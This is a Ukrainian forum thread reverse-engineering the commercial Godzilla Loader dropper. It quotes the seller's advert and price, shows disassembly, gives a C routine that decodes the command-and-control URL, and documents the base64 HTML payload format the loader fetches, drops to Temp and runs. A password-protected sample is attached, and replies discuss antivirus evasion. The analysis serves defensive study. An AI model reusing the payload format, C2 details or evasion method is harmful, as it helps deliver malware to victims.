1 Востаннє редагувалося anakin (20.04.2016 15:47:39)

Тема: Реверс Godzilla Loader

Godzilla Loader – современный загрузчик-дропер, который позволяет скачивать неограниченное количество файлов в обход большинства видов AV-защиты.
Приложение работает без внедрения кода в чужие процессы, что является уникальным отличием в сравнении с другими схожими продуктами на рынке. Создавая не видимую для пользователя копию браузера, Godzilla Loader выполняет всю работу с сетью в контексте доверенного процесса браузера без внедрения своего кода. Приложение сохраняет на диск и запускает все загруженные ЕХЕ-файлы, после чего – самоудаляется.

Написан на чистом Си и WinAPI
Обход большинства видов AV-защиты: ASLR, DEP, HIPS
Загрузка и запуск под low IL(повышение привелегий через WMI)

Лицензия: 750$

Тема продажу - _https://damagelab.org/index.php?showtopic=26436

Першоджерелом виявився JS-лоадер (https://www.hybrid-analysis.com/sample/ … b54cd911d2), який безпосередньо завантажував саму Годзілу, а той у свою чергу інші файли на побажання оператора ботнету.
Перейдемо до пункту Hybrid Analysis, де ми бачимо як javascript виконує якийсь файл mateInvestment.scr. Завантажимо його (пункт Extracted Files).

Файл розміром 6 кб., має дві секції

http://i.imgur.com/h5zvR3J.png

"0" - код, "1" - імпорт

ентропія в нормі

http://i.imgur.com/BP2ghAq.png

http://i.imgur.com/z1YLr1r.png

семпл не першої свіжості, і сильно палений - https://virustotal.com/ru/file/a6a09e7a … 461147097/. Лінкер має версію 10.00 + "Написан на чистом Си и WinAPI" = побудовано Visual Studio. Дотичних ознак достатньо, перейдемо до відладчика. Я використовую OllyDbg.

На перший погляд немає ніяких слідів захисту коду

      _EP /$  55                 push    ebp
0040151C  |.  8BEC               mov     ebp, esp
0040151E  |.  81EC 98090000      sub     esp, 998
00401524  |.  53                 push    ebx
00401525  |.  56                 push    esi
00401526  |.  57                 push    edi
00401527  |.  33DB               xor     ebx, ebx
00401529  |.  53                 push    ebx
0040152A  |.  FF15 A4204000      call    dword ptr [<&ole32.CoInitialize>]
00401530  |.  68 07800000        push    8007                                         ; /Mode = SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_NOOPENFILEERRORBOX
00401535  |.  FF15 6C204000      call    dword ptr [<&KERNEL32.SetErrorMode>]         ; \KERNEL32.SetErrorMode
0040153B  |.  8D45 84            lea     eax, [ebp-7C]
0040153E  |.  50                 push    eax                                          ; /TokenHandle = NULL
0040153F  |.  6A 28              push    28                                           ; |DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
00401541  |.  C745 9C 53654368   mov     dword ptr [ebp-64], 68436553                 ; |
00401548  |.  C745 A0 616E6765   mov     dword ptr [ebp-60], 65676E61                 ; |
0040154F  |.  C745 A4 4E6F7469   mov     dword ptr [ebp-5C], 69746F4E                 ; |
00401556  |.  C745 A8 66795072   mov     dword ptr [ebp-58], 72507966                 ; |
0040155D  |.  C745 AC 6976696C   mov     dword ptr [ebp-54], 6C697669                 ; |
00401564  |.  C745 B0 65676500   mov     dword ptr [ebp-50], 656765                   ; |
0040156B  |.  FF15 68204000      call    dword ptr [<&KERNEL32.GetCurrentProcess>]    ; |[KERNEL32.GetCurrentProcess
00401571  |.  50                 push    eax                                          ; |ProcessHandle = NULL
00401572  |.  FF15 08204000      call    dword ptr [<&ADVAPI32.OpenProcessToken>]     ; \ADVAPI32.OpenProcessToken
00401578  |.  6A 01              push    1                                            ; /Arg3 = 1
0040157A  |.  8D45 9C            lea     eax, [ebp-64]                                ; |
0040157D  |.  50                 push    eax                                          ; |Arg2 = 0
0040157E  |.  FF75 84            push    dword ptr [ebp-7C]                           ; |Arg1 = 0
00401581  |.  E8 81FCFFFF        call    00401207                                     ; \malware.00401207

хіба що строки у явному вигляді не зберігаються, а генеруються динамічно. Це

00401541  |.  C745 9C 53654368   mov     dword ptr [ebp-64], 68436553                 ; |
00401548  |.  C745 A0 616E6765   mov     dword ptr [ebp-60], 65676E61                 ; |
0040154F  |.  C745 A4 4E6F7469   mov     dword ptr [ebp-5C], 69746F4E                 ; |
00401556  |.  C745 A8 66795072   mov     dword ptr [ebp-58], 72507966                 ; |
0040155D  |.  C745 AC 6976696C   mov     dword ptr [ebp-54], 6C697669                 ; |
00401564  |.  C745 B0 65676500   mov     dword ptr [ebp-50], 656765                   ; |

формує "SeChangeNotifyPrivilege" для "Enabling and Disabling Privileges" по адресу 00401581.

00401591 - підвищення прав через WMI - іншими словами набридає користувачеві віконцем допоки останній не натисне "Так".

004015A8 - тут іде завантаження atl.dll із подальшим знаходженням адрес функцій AtlAxWinInit та AtlAxGetControl. Як я зрозумів, цитую вікі:

Active Template Library (ATL) — набор шаблонных классов языка C++, разработанных компанией Microsoft для упрощения написания COM-компонентов

саме через ATL відбувається обхід усіх засобів захисту. Сам автор опублікував наступну статистику:
http://i.imgur.com/Gl6VRdL.png

00401600 - виконання AtlAxWinInit, у msdn читаємо примітку

This function must be called before using the ATL control hosting API. Following a call to this function, the "AtlAxWin" window class can be used in calls to CreateWindow or CreateWindowEx, as described in the Windows SDK.

саме після цього, виконується CreateWindowEx із наступними аргументами

0012F5EC  /00000000  ....  ; |ExtStyle = 0
0012F5F0  |0012FE80  Ђю.  ; |ClassName = "AtlAxWin"
0012F5F4  |0012FE50  Pю.  ; |WindowName = "shell.view"
0012F5F8  |88000000  ...€  ; |Style = WS_POPUP|WS_DISABLED
0012F5FC  |00000000  ....  ; |X = 0
0012F600  |00000000  ....  ; |Y = 0
0012F604  |00000000  ....  ; |Width = 0
0012F608  |00000000  ....  ; |Height = 0
0012F60C  |00000000  ....  ; |hParent = NULL
0012F610  |00000000  ....  ; |hMenu = NULL
0012F614  |00000000  ....  ; |hInst = NULL
0012F618  |00000000  ....  ; \lParam = NULL

Через відсутність досвіду праці із C++ та ATL опишу так: 0040166A - виклик AtlAxGetControl що заповнює ** на IUnknown, куди він зберігає вказівник на якийсь метод, котрий виконується із такими аргументами:
- **IUnknown (по ООП це буде як вказівник на самого себе, тобто this);
- вказівник на IID IWebBrowser2;
- void*.

а ось і сам Interface Identifiers IWebBrowser2 (як і писав автор "Создавая не видимую для пользователя копию браузера")

00401685  |.  B9 AFCD0000               mov     ecx, 0CDAF
0040168A  |.  52                        push    edx
0040168B  |.  C785 70FFFFFF 61160CD3    mov     dword ptr [ebp-90], D30C1661
00401695  |.  66:898D 74FFFFFF          mov     word ptr [ebp-8C], cx
0040169C  |.  C785 76FFFFFF D0118A3E    mov     dword ptr [ebp-8A], 3E8A11D0
004016A6  |.  C785 7AFFFFFF 00C04FC9    mov     dword ptr [ebp-86], C94FC000
004016B0  |.  66:C785 7EFFFFFF E26E     mov     word ptr [ebp-82], 6EE2

останній виклик у свою чергу заповнює IUnknown, із якого знову робиться виклик якогось методу. Одним словом маніпуляції із нутрощами класів, які від прикладного розробника виконуються потаємно.

0040183A - розшифровка (xor) динамічно побудованого буфера (адреса командного серверу) із wchar_t ключем L"GODZILLA". У нашому варіанті семплу це домен "_http://starwoodhotels.site/g.php".

// http://starwoodhotels.site/g.php
static wchar_t url[] = {
    0x002F, 0x003B, 0x0030, 0x002A, 0x0073, 0x0063, 0x0063, 0x0032, 0x0033, 0x002E, 0x0036, 0x002D, 
    0x0026, 0x0023, 0x0028, 0x0029, 0x0028, 0x003B, 0x0021, 0x0036, 0x003A, 0x0062, 0x003F, 0x0028, 
    0x0033, 0x002A, 0x006B, 0x003D, 0x0067, 0x003C, 0x0024, 0x0031, 0x0000
};

static wchar_t key[] = L"GODZILLA";


int main(void)
{
   size_t u = wcslen(url),
          k = wcslen(key);

   for (size_t i = 0; i < u; url[i] ^= key[i % k], ++i);

   wprintf(L"%ls\n", url);

   return 0;
}

далі TranslateMessage/DispatchMessageW/GetMessageW якщо false, повторюємо, почавши із розшифровки url, знову false - завершуємося, інакше вантажить html-файл із таким запитом

GET /***.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
If-Modified-Since: Wed, 20 Apr 2016 07:35:29 GMT
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ***
Connection: Keep-Alive

004019C8 - декодує назву файлу із base64 за допомогою CryptStringToBinaryW, 004019E7 - те саме, тільки декодує корисне навантаження. Далі отримуємо шлях до Temp, створюємо файл (із ім'ям із стадії 004019C8), пишемо в нього буфер що розшифрувався на 004019E7, та запускаємо його. У кінці лоадер робить харакірі "/c del malware.bin >> NUL".

Щодо payload. Якщо на hybrid-analysis придивитися до пункту Extracted Strings, можна побачити елементи html-документа. Експериментальним шляхом я довідався, що він має наступний формат (тут я додав свій payload - простий MessageBox)

<!-- корисне навантаження, exe-файл у base64 -->
<div style="display:none" id="d" name="d">
TVqAAAEAAAAEABAA//8AAEABAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAABQRQAATAEBAGYtF1cAAAAAAAAAAOAADwELAQFHAAAAAAAAAAAAAAAAlhAAAAAAAAAAAAAAAABAAAAQAAAAAgAAAQAAAAAAAAAFAAEAAAAAAAAgAAAAAgAAYTwAAAIAAAAAEAAAABAAAAAAAQAAAAAAAAAAABAAAAAAAAAAAAAAAAAQAAC+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAvgAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYEAAAAAAAAAAAAAA8EAAAYBAAAHgQAAAAAAAAAAAAAEgQAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c2VyMzIuZGxsAABrZXJuZWwzMi5kbGwAAAAAaBAAAAAAAABoEAAAAAAAAAAATWVzc2FnZUJveEEAAACIEAAAAAAAAIgQAAAAAAAAAABFeGl0UHJvY2VzcwBqAGi6EEAAaLIQQABqAP8VYBBAAGoA/xWAEEAAcmVwbGFjZQAtX14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
</div>

<!-- назва файлу який бот стврить у Temp та запустить ("replace_payload.exe") -->
<div style="display:none" id="s" name="s">cmVwbGFjZV9wYXlsb2FkLmV4ZQ==</div>

Заради тесту я поставив бряк на 0040183F, отримав у EDX адресу буфера із розшифрованим url, замінив його на свій сервер із вищезазначеним корисним навантаженням на html, F9....

http://i.imgur.com/AHEaJzU.png

Метод цікавий, захист ніякий - це сприятиме розкрученню та використанню обходу іншими особами, що робить ціну у 750$ неактуальною.

end.

Семпл прикріплено, пароль до архіву - infected

Post's attachments

gl.zip 3.11 kb, 654 downloads since 2016-04-20 

Подякували: 0xDADA11C7, reverse2500, 0x9111A, /KIT\4

2

Re: Реверс Godzilla Loader

Я вам надзвичайно вдячний за проведений аналіз Godzilla Loader, але будь ласка, долучайте семпли.

3

Re: Реверс Godzilla Loader

0xDADA11C7, так у першому ж посиланні.

4

Re: Реверс Godzilla Loader

Щось у мене воно не вантажиться, втім навіть якщо помилки нема, то просто заархівуйте під паролем і долучіть до посту, форумний рушій має таку можливість, на відміну від даманги. Я маю деякі зауваження до оформлення посту, але ми все те повиправляємо коли створюватимемо новий розділ.

5

Re: Реверс Godzilla Loader

Ліцензія - $750

А що будуть з неліцензійними копіями робити? До суду подадуть?

6

Re: Реверс Godzilla Loader

Гм, якщо там уся робота виконується через IWebBrowser2, то антивірь повинен перевіряти трафік у ньому так само, як і у звичайному браузері.

7

Re: Реверс Godzilla Loader

koala, клієнта лишать технічної підтримки та оновлень
Torbins, хост новий, сигнатура того що в html невідома (була, до моменту публічного висвітлення), методика лоадингу також невідома (була).. повинен, але реальність інша.
Цим методом ще барижити будуть. Той же WMI стягнуто із h1n1 (теж лоадер).

Подякували: 0xDADA11C71

8

Re: Реверс Godzilla Loader

Ааа, ну якщо таким методом вантажити щось, що антивірь не детектує, тоді звичайно...

9

Re: Реверс Godzilla Loader

Torbins написав:

Гм, якщо там уся робота виконується через IWebBrowser2, то антивірь повинен перевіряти трафік у ньому так само, як і у звичайному браузері.

Сигнатурний детект легко обійти, а ось з фаєрволами таке сказати важко.